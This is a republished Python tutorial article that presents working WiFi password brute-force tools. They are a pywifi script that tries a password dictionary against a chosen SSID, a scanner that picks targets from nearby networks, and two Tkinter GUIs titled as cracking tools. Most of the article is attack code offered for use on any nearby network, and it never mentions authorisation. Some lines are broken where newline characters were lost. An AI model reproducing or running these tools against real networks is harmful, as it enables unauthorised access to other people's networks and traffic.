Python Script for WiFi Password Brute‑Force Cracking and GUI Tool Development

This article demonstrates how to implement WiFi password brute‑force attacks using Python, covering a command‑line script, an optimized scanner with flexible dictionary input, and two Tkinter‑based graphical interfaces, while also discussing execution results and potential multithreading improvements.

Python Programming Learning Circle
Python Programming Learning Circle
Python Programming Learning Circle
Python Script for WiFi Password Brute‑Force Cracking and GUI Tool Development

The article introduces a method for cracking WiFi passwords with Python, first presenting a basic non‑graphical script that iterates through a password list, attempts connections via the pywifi library, and reports success or failure.

import pywifi
from pywifi import const
import time, datetime

def wifiConnect(pwd):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = "Tr0e"
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = pwd
        ifaces.remove_all_network_profiles()
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        time.sleep(2)
        return ifaces.status() == const.IFACE_CONNECTED
    else:
        print("已有wifi连接")

def readPassword():
    success = False
    print("****************** WIFI破解 ******************")
    path = "pwd.txt"
    file = open(path, "r")
    start = datetime.datetime.now()
    while True:
        try:
            pwd = file.readline().strip('
')
            if wifiConnect(pwd):
                print("[*] 密码已破解:", pwd)
                success = True
                break
            else:
                print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s" % ("Tr0e", pwd))
        except:
            continue
    end = datetime.datetime.now()
    if success:
        print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))
    else:
        print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")
    exit(0)

if __name__ == "__main__":
    readPassword()

The script’s execution results are shown with screenshots of successful password discovery and connection status.

To improve flexibility, the article adds a WiFi scanning function that lists nearby networks sorted by signal strength, allowing the user to select a target and specify a custom password dictionary.

import pywifi, time
from pywifi import const

def wifi_scan():
    wifi = pywifi.PyWiFi()
    interface = wifi.interfaces()[0]
    interface.scan()
    time.sleep(4)
    bss = interface.scan_results()
    wifi_name_set = set()
    for w in bss:
        wifi_name_set.add((100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')))
    wifi_name_list = sorted(list(wifi_name_set), key=lambda a: a[0], reverse=True)
    for idx, (sig, ssid) in enumerate(wifi_name_list):
        print(f"{idx:<6}{sig:<8}{ssid}")
    return wifi_name_list

def wifi_password_crack(wifi_name):
    wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")
    with open(wifi_dic_path, 'r') as f:
        for pwd in f:
            pwd = pwd.strip('
')
            wifi = pywifi.PyWiFi()
            iface = wifi.interfaces()[0]
            iface.disconnect()
            while iface.status() == 4:
                pass
            profile = pywifi.Profile()
            profile.ssid = wifi_name
            profile.auth = const.AUTH_ALG_OPEN
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            profile.key = pwd
            iface.remove_all_network_profiles()
            tmp_profile = iface.add_network_profile(profile)
            iface.connect(tmp_profile)
            start_time = time.time()
            while time.time() - start_time < 1.5:
                if iface.status() == 4:
                    print(f"\r连接成功!密码为:{pwd}")
                    exit(0)
                else:
                    print(f"\r正在利用密码 {pwd} 尝试破解。", end='')

A simple graphical interface is then built with Tkinter, providing entry fields for the WiFi name and password, a button to start cracking, and a listbox to display progress.

from tkinter import *
from pywifi import const
import pywifi, time

def wificonnect(str, wifiname):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = wifiname
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.key = str
        profile.auth = const.AUTH_ALG_OPEN
        profile.cipher = const.CIPHER_TYPE_CCMP
        ifaces.remove_all_network_profiles()
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        time.sleep(3)
        return ifaces.status() == const.IFACE_CONNECTED
    else:
        return False

def readPwd():
    wifiname = entry.get().strip()
    path = r'./pwd.txt'
    file = open(path, 'r')
    while True:
        try:
            mystr = file.readline().strip()
            if wificonnect(mystr, wifiname):
                text.insert(END, '密码正确' + mystr)
                break
            else:
                text.insert(END, '密码错误' + mystr)
        except:
            continue

root = Tk()
root.title('wifi破解')
root.geometry('500x400')
label = Label(root, text='输入要破解的WIFI名称:')
label.grid()
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
root.mainloop()

The article further upgrades the UI by adding a file‑dialog for selecting the password dictionary, a tree view showing scanned WiFi details, and improved event handling, all encapsulated in a class‑based Tkinter application.

class MY_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        self.get_value = StringVar()
        self.get_wifi_value = StringVar()
        self.get_wifimm_value = StringVar()
        self.wifi = pywifi.PyWiFi()
        self.iface = self.wifi.interfaces()[0]
        self.iface.disconnect()
        time.sleep(1)
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    def set_init_window(self):
        self.init_window_name.title("WIFI破解工具")
        self.init_window_name.geometry('+500+200')
        labelframe = LabelFrame(width=400, height=200, text="配置")
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
        Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)
        # ... additional widgets and treeview setup ...
    def scans_wifi_list(self):
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        scanres = self.iface.scan_results()
        self.show_scans_wifi_list(scanres)
        return scanres
    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", 'end', values=(index+1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
    # ... additional methods for file selection, password reading, connection testing ...

def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    ui.set_init_window()
    init_window.mainloop()

if __name__ == "__main__":
    gui_start()

In the concluding section, the author notes that while the scripts successfully demonstrate WiFi cracking and GUI development, they lack multithreading, which would reduce the waiting time caused by the inherent delay of WiFi connection attempts.

Original Source

Signed-in readers can open the original source through BestHub's protected redirect.

Sign in to view source
Republication Notice

This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactadmin@besthub.devand we will review it promptly.

WiFiTkinterbrute forcepywifiinformation-security
Python Programming Learning Circle
Written by

Python Programming Learning Circle

A global community of Chinese Python developers offering technical articles, columns, original video tutorials, and problem sets. Topics include web full‑stack development, web scraping, data analysis, natural language processing, image processing, machine learning, automated testing, DevOps automation, and big data.

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.